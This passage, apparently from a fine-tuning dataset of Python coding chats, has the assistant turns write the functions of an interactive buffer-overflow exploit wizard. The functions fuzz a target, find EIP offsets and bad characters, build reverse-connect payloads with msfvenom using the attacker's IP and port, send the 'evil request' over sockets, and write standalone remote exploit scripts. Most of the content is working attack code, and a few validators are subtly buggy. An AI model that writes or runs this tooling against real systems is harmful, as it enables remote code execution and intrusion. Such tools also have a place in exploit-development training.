= 2\n\tshow_step_banner('[2] Checking offsets')\n\tshow_prompt_text('Enter the 8 characters that are shown in the EIP:')\n\tuser_input = get_input(pattern_valid)\n\ttmp_file = 'offset.txt'\n\tcommand = 'msf-pattern_offset -q {} > {}'.format(shlex.quote(user_input), tmp_file)\n\tthread = call_command(command)\n\twhile thread.running():\n\t\tanimation('Finding offset')\n\tif thread.result() == 0:\n\t\tprint()\n\t\twith open(tmp_file, 'r') as f:\n\t\t\tresult = f.read()\n\t\t\ttry:\n\t\t\t\tglobal offset\n\t\t\t\toffset = int(result.split(' ')[-1])\n\t\t\t\tprint_info('Offset at ' + str(offset))\n\t\t\texcept (ValueError, IndexError):\n\t\t\t\tprint_error('Could not find string in pattern. Maybe the exploit did not work?')\n\t\t\t\tprint_info('You could return to step [1] and try increasing the length.')\n\t\t\t\tos.unlink(tmp_file)\n\t\t\t\tvalid_step = False\n\t\t\t\twhile not valid_step:\n\t\t\t\t\tshow_prompt_text('With which step do you want to proceed?')\n\t\t\t\t\tuser_input = get_input(number_valid)\n\t\t\t\t\tif set_step(user_input):\n\t\t\t\t\t\tvalid_step = True\n\t\tos.unlink(tmp_file)\n\t\tshow_prompt_text('Enter the 8 characters that are shown at the top of stack:')\n\t\tuser_input = get_input(pattern_valid)\n\t\ttmp_file = 'offset.txt'\n\t\tcommand = 'msf-pattern_offset -q {} > {}'.format(shlex.quote(user_input), tmp_file)\n\t\tthread = call_command(command)\n\t\twhile thread.running():\n\t\t\tanimation('Finding offset')\n\t\tif thread.result() == 0:\n\t\t\tprint()\n\t\t\twith open(tmp_file, 'r') as f:\n\t\t\t\tresult = f.read()\n\t\t\t\ttry:\n\t\t\t\t\tstack_offset = int(result.split(' ')[-1])\n\t\t\t\t\tprint_info('Offset at ' + str(stack_offset))\n\t\t\t\t\tglobal nop_sled\n\t\t\t\t\toff_stack_dist = stack_offset - offset\n\t\t\t\t\tif off_stack_dist > nop_sled:\n\t\t\t\t\t\tnop_sled = off_stack_dist\n\t\t\t\texcept (ValueError, IndexError):\n\t\t\t\t\tprint_info('Could not find string in pattern. '\n\t\t\t\t\t\t\t 'Seems that the overflow did not overwrite the stack. We will deal with that later.')\n\t\tos.unlink(tmp_file)\n\t\tglobal buffer\n\t\tbuffer = buffer_list.get_buffer_by_name('generic').get_buffer()\n\t\tif bo_type == 'local':\n\t\t\tdump_local_exploit()\n\t\telif bo_type == 'remote':\n\t\t\tupdate_remote_exploit()\n\t\t\trun_remote_exploit()\n\t\tprint(\n\t\t\t' Does the EIP show 42424242? If not, something is wrong with the offset and you should repeat the previous steps.')\n\t\tprint_info('Write the address down where the Cs start. You can use it later to find bad characters with mona.')\n\t\tif proceed_ok():\n\t\t\tstep_badchars()", "conversation_id": 463, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 464, "message_id": 0 }, { "role": "user", "content": "In the badchar step an ASCII string is repeatedly passed as payload.\nThe user has to examine the result in a debugger and enter the characters that break the exploit.\nThese characters are stored and will be considered later when creating the real payload..", "conversation_id": 464, "message_id": 1 }, { "role": "assistant", "content": "def step_badchars():\n\tglobal current_step\n\tcurrent_step = 3\n\tshow_step_banner('[3] Finding bad characters')\n\tprint_info('You must probably repeat this step multiple times until you have found all bad characters.')\n\tprint('''{}\n\tIn Immunity Debugger, you can use mona to find the bad characters. To do so, do the following before running the exploit:\n\t1. Set up working directory: !mona config -set workingfolder c:\\\\mona\\\\%p\n\t2. Create byte array: !mona bytearray\n\t{}'''.format(GRAY, FORMAT_END))\n\tall_chars_found = False\n\twhile not all_chars_found:\n\t\tglobal buffer\n\t\tbuffer = buffer_list.get_buffer_by_name('badcharc').get_buffer()\n\t\tif bo_type == 'local':\n\t\t\tdump_local_exploit()\n\t\telif bo_type == 'remote':\n\t\t\tupdate_remote_exploit()\n\t\t\trun_remote_exploit()\n\t\tprint('\\n Can you see all Cs when following ESP or EAX in dump (depending on where the Cs are stored)?')\n\t\tprint('''{}\n\t\tIn Immunity Debugger, you can use mona to find the bad characters. \n\t\tTo do so, do the following before resending the exploit:\n\t\t1. Compare: !mona compare -f c:\\\\mona\\\\\\\\bytearray.bin -a
\n\t\t2. Recreate byte array: !mona bytearray -cpb \"{}\"\n\t\t{}'''.format(GRAY, '\\\\x' + '\\\\x'.join(c for c in badchars), FORMAT_END))\n\t\tshow_prompt_text('Enter the character (e.g. 00, 0a, 0d) which does not show up or breaks the exploit')\n\t\tshow_prompt_text('To show all possible ascii characters enter {}show ascii{}'.format(BOLD, FORMAT_END))\n\t\tshow_prompt_text('Leave empty / press Enter when there a no more bad characters.')\n\t\tuser_input = get_input(bad_char_valid)\n\t\tif user_input == '':\n\t\t\tall_chars_found = True\n\t\telse:\n\t\t\tchar = unhexlify(user_input)\n\t\t\tglobal char_string\n\t\t\tchar_string = char_string.replace(char, b'')\n\t\t\tbadchars.append(user_input)\n\tstep_return()", "conversation_id": 464, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 465, "message_id": 0 }, { "role": "user", "content": "By examining the buffer overflow, we can determine where to put the payload and which command to use to access it.", "conversation_id": 465, "message_id": 1 }, { "role": "assistant", "content": "def step_return():\n\tglobal current_step\n\tcurrent_step = 4\n\tshow_step_banner('[4] Finding return address')\n\tshow_prompt_text('Examine the buffer overflow in the debugger. Which case does apply?')\n\tbuf_types = buffer_list.get_selectable_buffers()\n\tfor b in buf_types:\n\t\tshow_prompt_text('[ ' + str(b.id) + ' ] ' + b.select_text, False)\n\twhile True:\n\t\tuser_input = int(get_input(number_valid))\n\t\tif 0 <= user_input < len(buf_types):\n\t\t\tbreak\n\t\tprint_warning('The number you entered is invalid')\n\tselected = buffer_list.get_buffer_by_id(user_input)\n\tselected.get_input()\n\tglobal buffer\n\tbuffer = selected.get_buffer()\n\tif bo_type == 'local':\n\t\tdump_local_exploit()\n\telif bo_type == 'remote':\n\t\tupdate_remote_exploit()\n\t\trun_remote_exploit()\n\tprint(' Check if everything is where it should be. If not, repeat previous steps.')\n\tif proceed_ok():\n\t\tstep_payload()", "conversation_id": 465, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 466, "message_id": 0 }, { "role": "user", "content": "We define the type of payload we wish to send and create the final exploit file..", "conversation_id": 466, "message_id": 1 }, { "role": "assistant", "content": "def step_payload():\n\tglobal current_step\n\tcurrent_step = 5\n\tshow_step_banner('[5] Creating payload')\n\tglobal connect_ip\n\tshow_prompt_text('Enter your IP (hit Enter to use current value {}):'.format(connect_ip))\n\tuser_input = get_input(ip_valid)\n\tif user_input != '':\n\t\tconnect_ip = user_input\n\tglobal connect_port\n\tshow_prompt_text('Enter the port to listen on (hit Enter to use current value {}):'.format(connect_port))\n\tuser_input = get_input(port_valid)\n\tif user_input != '':\n\t\tconnect_port = user_input\n\tglobal arch\n\tshow_prompt_text('Enter the target architecture (hit Enter to use current value {}):'.format(arch))\n\tuser_input = get_input(arch_valid)\n\tif user_input != '':\n\t\tarch = 'x' + user_input\n\tglobal platform\n\tshow_prompt_text('Enter the target platform (hit Enter to use current value {}):'.format(platform))\n\tuser_input = get_input(platform_valid)\n\tif user_input != '':\n\t\tplatform = user_input\n\tglobal payload\n\twhile True:\n\t\tshow_prompt_text('Enter payload type'.format(payload))\n\t\tshow_prompt_text('Show all available with {}show payloads{}'.format(BOLD, FORMAT_END))\n\t\tuser_input = get_input(payload_valid)\n\t\tif user_input == 'show payloads':\n\t\t\tshow_payloads()\n\t\t\tcontinue\n\t\telse:\n\t\t\tpayload = user_input\n\t\t\tpayload_ok = create_payload()\n\t\t\tif payload_ok and bo_type == 'local':\n\t\t\t\tdump_local_exploit()\n\t\t\telif payload_ok and bo_type == 'remote':\n\t\t\t\tupdate_remote_exploit()\n\t\t\t\trun_remote_exploit()\n\t\t\tshow_prompt_text('Did your exploit work? If not, try sending a different payload.')\n\t\t\tshow_prompt_text(\n\t\t\t\t'Enter {}again{} to try again. Hit Enter if everything worked fine.'.format(BOLD, FORMAT_END))\n\t\t\tuser_input = get_input(check_text)\n\t\t\tif user_input == '':\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tcontinue\n\tget_input(generic_check)", "conversation_id": 466, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 467, "message_id": 0 }, { "role": "user", "content": "Creates a palyoad with msfvenom and updates the buffer.", "conversation_id": 467, "message_id": 1 }, { "role": "assistant", "content": "def create_payload():\n\ttmp_file = 'payload.py'\n\tpayload_size = buffer_list.selected_buffer.payload_size\n\tcommand = \"msfvenom -a {arch} --platform {plat} -p {pay} LHOST={host} LPORT={port} EXITFUNC=thread -s {size} -b '{bad}' -f py -v payld -o {file}\".format(\n\t\tarch=shlex.quote(arch),\n\t\tplat=shlex.quote(platform),\n\t\tpay=shlex.quote(payload),\n\t\thost=connect_ip,\n\t\tport=connect_port,\n\t\tsize=payload_size,\n\t\tbad='\\\\x' + '\\\\x'.join(str(char) for char in badchars),\n\t\tfile=tmp_file)\n\tprint_info(\"Executing command: \" + command)\n\tthread = call_command(command)\n\twhile thread.running():\n\t\tanimation('Creating payload')\n\tif thread.result() == 0:\n\t\tprint()\n\t\tfrom payload import payld\n\t\tglobal payload_code\n\t\tpayload_code = payld\n\t\tshutil.rmtree('__pycache__', ignore_errors=True)\n\t\tglobal buffer\n\t\tbuffer = buffer_list.selected_buffer.get_buffer()\n\t\tprint_info('Buffer has been updated with new payload')\n\t\tif len(payload_code) > payload_size:\n\t\t\tprint_warning(\n\t\t\t\t\"The payload was generated as small as possible. However, it is larger than the specified payload size.\\n\"\n\t\t\t\t\"The exploit probably still works fine, but don't be surprised if problems occur.\")\n\t\treturn True\n\telse:\n\t\tprint('\\n')\n\t\tprint_warning('Something went wrong when creating the payload. Check if you have entered a valid payload.')\n\t\tprint_info('To create a new payload use {}set payload {}'.format(BOLD, FORMAT_END))\n\t\treturn False", "conversation_id": 467, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 468, "message_id": 0 }, { "role": "user", "content": "Accepts certain string variants for local / remote.", "conversation_id": 468, "message_id": 1 }, { "role": "assistant", "content": "def bo_type_valid(user_input):\n\tif user_input in ['l', 'r', 'loc', 'rem', 'local', 'remote']:\n\t\treturn True\n\tprint_error(\"Invalid buffer overflow type. Only 'local' or 'remote' are possible.\")\n\treturn False", "conversation_id": 468, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 469, "message_id": 0 }, { "role": "user", "content": "Accepts a string with a maximum length of 20 as file extension.", "conversation_id": 469, "message_id": 1 }, { "role": "assistant", "content": "def ext_valid(user_input):\n\tif user_input.startswith('.') or len(user_input) > 20 or ' ' in user_input:\n\t\treturn False\n\tprint_error(\"Invalid input. Enter the extension without preceding dot. Maximum length is 20.\")\n\treturn True", "conversation_id": 469, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 470, "message_id": 0 }, { "role": "user", "content": "Accepts a string with a valid IP address.", "conversation_id": 470, "message_id": 1 }, { "role": "assistant", "content": "def ip_valid(user_input):\n\tif user_input == '':\n\t\treturn True\n\tip_regex = re.compile(\n\t\tr'^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$')\n\treturn re.match(ip_regex, user_input)", "conversation_id": 470, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 471, "message_id": 0 }, { "role": "user", "content": "Accepts an integer within the number range for ports.", "conversation_id": 471, "message_id": 1 }, { "role": "assistant", "content": "def port_valid(user_input):\n\tif user_input == '':\n\t\treturn True\n\ttry:\n\t\tport_no = int(user_input)\n\t\tif 0 <= port_no <= 65535:\n\t\t\treturn True\n\t\telse:\n\t\t\tprint_error(\"Invalid port number.\")\n\t\t\treturn False\n\texcept ValueError:\n\t\tprint_error(\"Invalid port number.\")\n\t\treturn False", "conversation_id": 471, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 472, "message_id": 0 }, { "role": "user", "content": "The Metasploit pattern is alphanumeric, so the EIP value as well.", "conversation_id": 472, "message_id": 1 }, { "role": "assistant", "content": "def pattern_valid(user_input):\n\tif len(user_input) == 8 and user_input.isalnum():\n\t\treturn True\n\tprint_error(\"Invalid pattern. The pattern mus be an 8-bit hex value.\")\n\treturn False", "conversation_id": 472, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 473, "message_id": 0 }, { "role": "user", "content": "Accepts an alphanumeric value of length 2 or no input (= Enter).", "conversation_id": 473, "message_id": 1 }, { "role": "assistant", "content": "def bad_char_valid(user_input):\n\tif user_input == '':\n\t\treturn True\n\tif len(user_input) == 2 and user_input.isalnum():\n\t\ttry:\n\t\t\tint(user_input, 16)\n\t\t\treturn True\n\t\texcept ValueError:\n\t\t\treturn False\n\tprint_error(\"Invalid character. Enter the hex value: 00 0a etc.\")\n\treturn False", "conversation_id": 473, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 474, "message_id": 0 }, { "role": "user", "content": "Accepts a memory location: 8-bit hex value.", "conversation_id": 474, "message_id": 1 }, { "role": "assistant", "content": "def address_valid(user_input):\n\tif len(user_input) == 8:\n\t\ttry:\n\t\t\tint(user_input, 16)\n\t\t\treturn True\n\t\texcept ValueError:\n\t\t\treturn False\n\tprint_error(\"Invalid memory address. Must be an 3-bit hex value.\")\n\treturn False", "conversation_id": 474, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 475, "message_id": 0 }, { "role": "user", "content": "Accepts a string matching the basic format 'platform/payload.", "conversation_id": 475, "message_id": 1 }, { "role": "assistant", "content": "def payload_valid(user_input):\n\tif len(user_input.split('/')) >= 2 or user_input == 'show payloads' or user_input == '':\n\t\treturn True\n\tprint_error(\"Invalid payload. Use 'show payloads' to show valid payloads.\")\n\treturn False", "conversation_id": 475, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 476, "message_id": 0 }, { "role": "user", "content": "Msfvenom platforms are words with a maximum length of 10.", "conversation_id": 476, "message_id": 1 }, { "role": "assistant", "content": "def platform_valid(user_input):\n\tif (len(user_input) <= 10 and user_input.isalpha()) or user_input == '':\n\t\treturn True\n\tprint_error(\"Invalid platform type\")\n\treturn False", "conversation_id": 476, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 477, "message_id": 0 }, { "role": "user", "content": "Accepts any string without numbers or special characters.", "conversation_id": 477, "message_id": 1 }, { "role": "assistant", "content": "def check_text(user_input):\n\tif user_input.isalpha() or user_input == '':\n\t\treturn True\n\tprint_error(\"Invalid input\")\n\treturn False", "conversation_id": 477, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 478, "message_id": 0 }, { "role": "user", "content": "Requires the user to hit enter to proceed.", "conversation_id": 478, "message_id": 1 }, { "role": "assistant", "content": "def proceed_ok():\n\tshow_prompt_text('Press Enter to proceed.')\n\tif get_input(check_enter) == '':\n\t\treturn True\n\treturn False", "conversation_id": 478, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 479, "message_id": 0 }, { "role": "user", "content": "Prints the currently set values of all parameters.", "conversation_id": 479, "message_id": 1 }, { "role": "assistant", "content": "def show_options():\n\tdash = '-' * 77\n\theader = ['Name', 'Current setting', 'Required', 'Description']\n\toptions = [\n\t\t[\n\t\t\t['Global parameters'],\n\t\t\tdesc_bo_type(),\n\t\t\tdesc_start_command(),\n\t\t\tdesc_end_command()\n\t\t],\n\t\t[\n\t\t\t['Local buffer overflow parameters'],\n\t\t\tdesc_file_name(),\n\t\t\tdesc_file_ext()\n\t\t],\n\t\t[\n\t\t\t['Remote buffer overflow parameters'],\n\t\t\tdesc_target(),\n\t\t\tdesc_port()\n\t\t],\n\t\t[\n\t\t\t['Fuzzing'],\n\t\t\tdesc_fuzz_buff_length(),\n\t\t\tdesc_increase_step(),\n\t\t\tdesc_fuzz_char()\n\t\t],\n\t\t[\n\t\t\t['Buffer'],\n\t\t\tdesc_pattern(),\n\t\t\tdesc_buf_length(),\n\t\t\tdesc_offset(),\n\t\t\tdesc_badchars(),\n\t\t\tdesc_nop_sled(),\n\t\t\tdesc_nop_padding(),\n\t\t\tdesc_return_address()\n\t\t],\n\t\t[\n\t\t\t['Payload'],\n\t\t\tdesc_payload(),\n\t\t\tdesc_arch(),\n\t\t\tdesc_platform(),\n\t\t\tdesc_connect_ip(),\n\t\t\tdesc_connect_port()\n\t\t]\n\t]\n\tprint(BOLD, GRAY)\n\tprint('{:<15s}{:<20}{:<15s}{:<30s}'.format(header[0], header[1], header[2], header[3]))\n\tprint(dash, FORMAT_END)\n\tfor item in options:\n\t\tfor index, value in enumerate(item):\n\t\t\tif index == 0:\n\t\t\t\tprint(BOLD, GRAY)\n\t\t\t\tprint(value[0].upper(), FORMAT_END)\n\t\t\telse:\n\t\t\t\tprint('{:<15s}{:<20}{:<15s}{:<30s}'.format(value[0], value[1], value[2], value[3]))\n\tprint('\\n')", "conversation_id": 479, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 480, "message_id": 0 }, { "role": "user", "content": "Shows parameters and their currently set values.", "conversation_id": 480, "message_id": 1 }, { "role": "assistant", "content": "def show_settings(settings):\n\theader = ['Parameter', 'Current setting', 'Description']\n\tprint('{}{}{:<15s}{:<20}{:<30s}{}'.format(BOLD, GRAY, header[0], header[1], header[2], FORMAT_END))\n\tfor item in settings:\n\t\tprint('{}{:<15s}{:<20}{:<30s}{}'.format(GRAY, item[0], item[1], item[3], FORMAT_END))\n\tprint('\\nIf you wish to change these settings, enter {}set {}\\n'.format(BOLD, FORMAT_END))", "conversation_id": 480, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 481, "message_id": 0 }, { "role": "user", "content": "Displays all steps of the wizard and marks the currently selected step.", "conversation_id": 481, "message_id": 1 }, { "role": "assistant", "content": "def show_steps():\n\tprint('\\nThe wizard guides you through the following steps:')\n\tsteps = ['Fuzzing',\n\t\t\t 'Send pattern to find offset for EIP',\n\t\t\t 'Check offsets',\n\t\t\t 'Check bad characters',\n\t\t\t 'Check return address',\n\t\t\t 'Create payload']\n\tfor index, value in enumerate(steps):\n\t\tif index == current_step:\n\t\t\tprint('{}=>[{}] {} {}'.format(CYAN, index, value, FORMAT_END))\n\t\telse:\n\t\t\tprint('{} [{}] {} {}'.format(GRAY, index, value, FORMAT_END))\n\tprint('The prompt shows your current step.')\n\tprint('You can switch between steps at any time with {}set step {}\\n'.format(BOLD, FORMAT_END))", "conversation_id": 481, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 482, "message_id": 0 }, { "role": "user", "content": "Shows all payloads available in Metasploit based on the current values for architecture and platform.", "conversation_id": 482, "message_id": 1 }, { "role": "assistant", "content": "def show_payloads():\n\ttmp_file = 'payloads.txt'\n\tcommand = 'msfvenom -l payloads > {}'.format(tmp_file)\n\tthread = call_command(command)\n\twhile thread.running():\n\t\tanimation('Searching payloads in msfvenom')\n\tif thread.result() == 0:\n\t\tprint()\n\t\twith open(tmp_file, 'r') as f:\n\t\t\tfor line in f:\n\t\t\t\tsplitted = line.split(' ')\n\t\t\t\tif len(splitted) > 5:\n\t\t\t\t\tname = splitted[4]\n\t\t\t\t\tif platform in name:\n\t\t\t\t\t\tif arch == 'x86' and 'x64' not in name:\n\t\t\t\t\t\t\tprint(name)\n\t\t\t\t\t\telif arch == 'x64' and 'x86' not in name:\n\t\t\t\t\t\t\tprint(name)\n\t\tos.unlink(tmp_file)", "conversation_id": 482, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 483, "message_id": 0 }, { "role": "user", "content": "Shows all ASCII characters in a matrix (helps finding bad chars).", "conversation_id": 483, "message_id": 1 }, { "role": "assistant", "content": "def show_ascii():\n\thexed = char_string.hex()\n\tlisted = [hexed[i:i + 2] for i in range(0, len(hexed), 2)]\n\tcols = 16\n\tlines = (\" \".join(listed[i:i + cols]) for i in range(0, len(listed), cols))\n\tprint('\\n')\n\tprint('\\n'.join(lines))", "conversation_id": 483, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 484, "message_id": 0 }, { "role": "user", "content": "Asks the user if the remote exploit should be run automatically.", "conversation_id": 484, "message_id": 1 }, { "role": "assistant", "content": "def run_remote_exploit():\n\tshow_prompt_text('You can check and run the exploit file manually or press Enter to let the wizard run it.')\n\tshow_prompt_text('Enter \"skip\" to proceed without running the file.', False)\n\tif get_input(check_text) == 'skip':\n\t\treturn\n\telse:\n\t\tsend_exploit()", "conversation_id": 484, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 485, "message_id": 0 }, { "role": "user", "content": "Sends a request with the payload for a remote buffer overflow.", "conversation_id": 485, "message_id": 1 }, { "role": "assistant", "content": "def send_exploit():\n\ttry:\n\t\twith so.socket(so.AF_INET, so.SOCK_STREAM) as s:\n\t\t\ts.settimeout(5)\n\t\t\tprint_info('Connecting to {}'.format(target))\n\t\t\tconnect = s.connect_ex((target, port))\n\t\t\tif connect != 0:\n\t\t\t\tprint_error('Connection failed')\n\t\t\t\treturn\n\t\t\ttry:\n\t\t\t\ttry:\n\t\t\t\t\tprint('[*] Received response: ' + str(s.recv(1024)))\n\t\t\t\texcept so.timeout:\n\t\t\t\t\tpass\n\t\t\t\tprint_info('Sending evil request with {} bytes'.format(len(buffer)))\n\t\t\t\ts.send(buffer)\n\t\t\t\tprint_success('Done')\n\t\t\texcept so.timeout:\n\t\t\t\tprint_error('Connection failed due to socket timeout')\n\texcept (BrokenPipeError, ConnectionResetError):\n\t\tprint_error('The connection was closed while sending the payload')", "conversation_id": 485, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 486, "message_id": 0 }, { "role": "user", "content": "Asks the user if the remote exploit should be run automatically.", "conversation_id": 486, "message_id": 1 }, { "role": "assistant", "content": "def run_remote_fuzzing():\n\tshow_prompt_text('You can check and run the fuzzing file manually or press Enter to let the wizard run it.')\n\tshow_prompt_text('Enter \"skip\" to proceed without running the file.', False)\n\tif get_input(check_text) == 'skip':\n\t\treturn\n\telse:\n\t\tsend_fuzzing()\n\t\tprint_info('Fuzzing finished')", "conversation_id": 486, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 487, "message_id": 0 }, { "role": "user", "content": "Sends requests with increasing payloads to cause a remote buffer overflow.", "conversation_id": 487, "message_id": 1 }, { "role": "assistant", "content": "def send_fuzzing():\n\tbuild_fuzz_buffer()\n\ttry:\n\t\tfor item in fuzz_buffer:\n\t\t\twith so.socket(so.AF_INET, so.SOCK_STREAM) as s:\n\t\t\t\ts.settimeout(5)\n\t\t\t\tprint_info('Connecting to ' + target)\n\t\t\t\tconnect = s.connect_ex((target, port))\n\t\t\t\tif connect != 0:\n\t\t\t\t\tprint_error('Connection failed')\n\t\t\t\t\treturn\n\t\t\t\ttry:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tprint('[*] Received response: ' + str(s.recv(1024)))\n\t\t\t\t\texcept so.timeout:\n\t\t\t\t\t\tpass\n\t\t\t\t\tcommand = start_command + item + end_command\n\t\t\t\t\tprint_info('Fuzzing with {} bytes'.format(len(command)))\n\t\t\t\t\ts.send(command)\n\t\t\t\t\ttry:\n\t\t\t\t\t\tprint('[*] Received response: ' + str(s.recv(1024)))\n\t\t\t\t\texcept so.timeout:\n\t\t\t\t\t\tpass\n\t\t\t\t\tprint_success('Done')\n\t\t\t\texcept so.timeout:\n\t\t\t\t\tprint_error('Connection failed due to socket timeout.')\n\t\t\t\t\treturn\n\texcept (BrokenPipeError, ConnectionResetError):\n\t\tprint_error('The connection was closed while sending the payload')", "conversation_id": 487, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 488, "message_id": 0 }, { "role": "user", "content": "Creates a file with the payload for a local buffer overflow.", "conversation_id": 488, "message_id": 1 }, { "role": "assistant", "content": "def dump_local_exploit():\n\tglobal file\n\tglobal buffer\n\ttry:\n\t\twith open(file, 'wb') as f:\n\t\t\tf.write(buffer)\n\t\tprint_success('Created / modified file with length {}'.format(len(buffer)))\n\texcept OSError as ex:\n\t\tprint_error('Error while creating the exploit file:\\n {}'.format(ex.strerror))", "conversation_id": 488, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 489, "message_id": 0 }, { "role": "user", "content": "Writes a python file with the exploit based on the currently set parameters.", "conversation_id": 489, "message_id": 1 }, { "role": "assistant", "content": "def dump_remote_exploit():\n\tglobal file\n\tcontent = \"\"\"\\\n#!/usr/bin/python3\nimport socket as so\n# --- Define target ------------------------\ntarget = '{target}'\nport = {port}\n# ------------------------------------------\n# --- Define exploit ------------------------\nbuf_length = {buffer_length}\noffset = {off}\n{buffer_code}\n# ------------------------------------------\nwith so.socket(so.AF_INET, so.SOCK_STREAM) as s:\n\ttry:\n\t\ts.settimeout(5)\n\t\tprint(' [*] Connecting to', target)\n\t\tconnect = s.connect_ex((target, port))\n\t\t# Stop script if connection cannot be established\n\t\tif connect != 0:\n\t\t\tprint('[!] Connection failed')\n\t\t\texit(1)\n\t\t# Connection established: send request\n\t\ttry:\n\t\t\t# Catch initial response if any\n\t\t\ttry:\n\t\t\t\tprint('[*] Received response: ' + str(s.recv(1024)))\n\t\t\texcept so.timeout:\n\t\t\t\tpass\n\t\t\tprint(' [*] Sending evil request with', len(buffer), 'bytes')\n\t\t\ts.send(buffer)\n\t\t\tprint('[*] Done')\n\t\t# Stop on timeout\n\t\texcept so.timeout:\n\t\t\tprint('[!] Connection failed due to socket timeout.')\n\t\t\texit(1)\n\texcept (BrokenPipeError, ConnectionResetError):\n\t\tprint('[!] The connection was closed while sending the payload')\n\"\"\".format(target=target,\n\t\t port=port,\n\t\t buffer_length=buf_length,\n\t\t off=offset,\n\t\t buffer_code=buffer_list.selected_buffer.print_buffer())\n\ttry:\n\t\twith open(file, 'wb') as f:\n\t\t\tf.write(content.encode())\n\t\tprint_success('Created exploit file {}'.format(file))\n\texcept OSError as ex:\n\t\tprint_error('Error while creating the exploit file:\\n {}'.format(ex.strerror))", "conversation_id": 489, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 490, "message_id": 0 }, { "role": "user", "content": "Updates only the buffer in an existing exploit file.\nManual changes in other parts of the file will be retained..", "conversation_id": 490, "message_id": 1 }, { "role": "assistant", "content": "def update_remote_exploit():\n\ttry:\n\t\twith FileInput(files=[file], inplace=True) as f:\n\t\t\tfor line in f:\n\t\t\t\tline = line.rstrip()\n\t\t\t\tif line.startswith('offset = '):\n\t\t\t\t\tline = \"offset = \" + str(offset)\n\t\t\t\telif line.startswith('buffer = '):\n\t\t\t\t\tline = buffer_list.selected_buffer.print_buffer()\n\t\t\t\telif line.startswith('buffer += ') or len(line) == 0:\n\t\t\t\t\tcontinue\n\t\t\t\tprint(line)\n\t\tprint_success('Updated buffer in exploit file {}'.format(file))\n\texcept OSError as ex:\n\t\tprint_error('Error while updating the exploit file:\\n {}'.format(ex.strerror))", "conversation_id": 490, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 491, "message_id": 0 }, { "role": "user", "content": "Generates the buffer for fuzzing based on the currently set parameters for\nfuzz_length, fuzz_increase and fuzz_char.", "conversation_id": 491, "message_id": 1 }, { "role": "assistant", "content": "def build_fuzz_buffer():\n\tcounter = increase_step - len(start_command) - len(end_command)\n\twhile len(fuzz_buffer) <= fuzz_buff_length:\n\t\tfuzz_buffer.append(fuzz_char * counter)\n\t\tcounter = counter + increase_step", "conversation_id": 491, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 492, "message_id": 0 }, { "role": "user", "content": "Writes files with increasing size for fuzzing.", "conversation_id": 492, "message_id": 1 }, { "role": "assistant", "content": "def dump_local_fuzz():\n\tbuild_fuzz_buffer()\n\tfor item in fuzz_buffer:\n\t\tfilename = file_name + '_' + str(len(item)) + '.' + file_ext\n\t\twith open(filename, 'wb') as f:\n\t\t\tf.write(start_command + item + end_command)\n\t\tprint_info('Created fuzzing file with length ' + str(len(item)))", "conversation_id": 492, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 493, "message_id": 0 }, { "role": "user", "content": "Writes a python file for fuzzing based on the currently set parameters for fuzz_length, fuzz_increase and 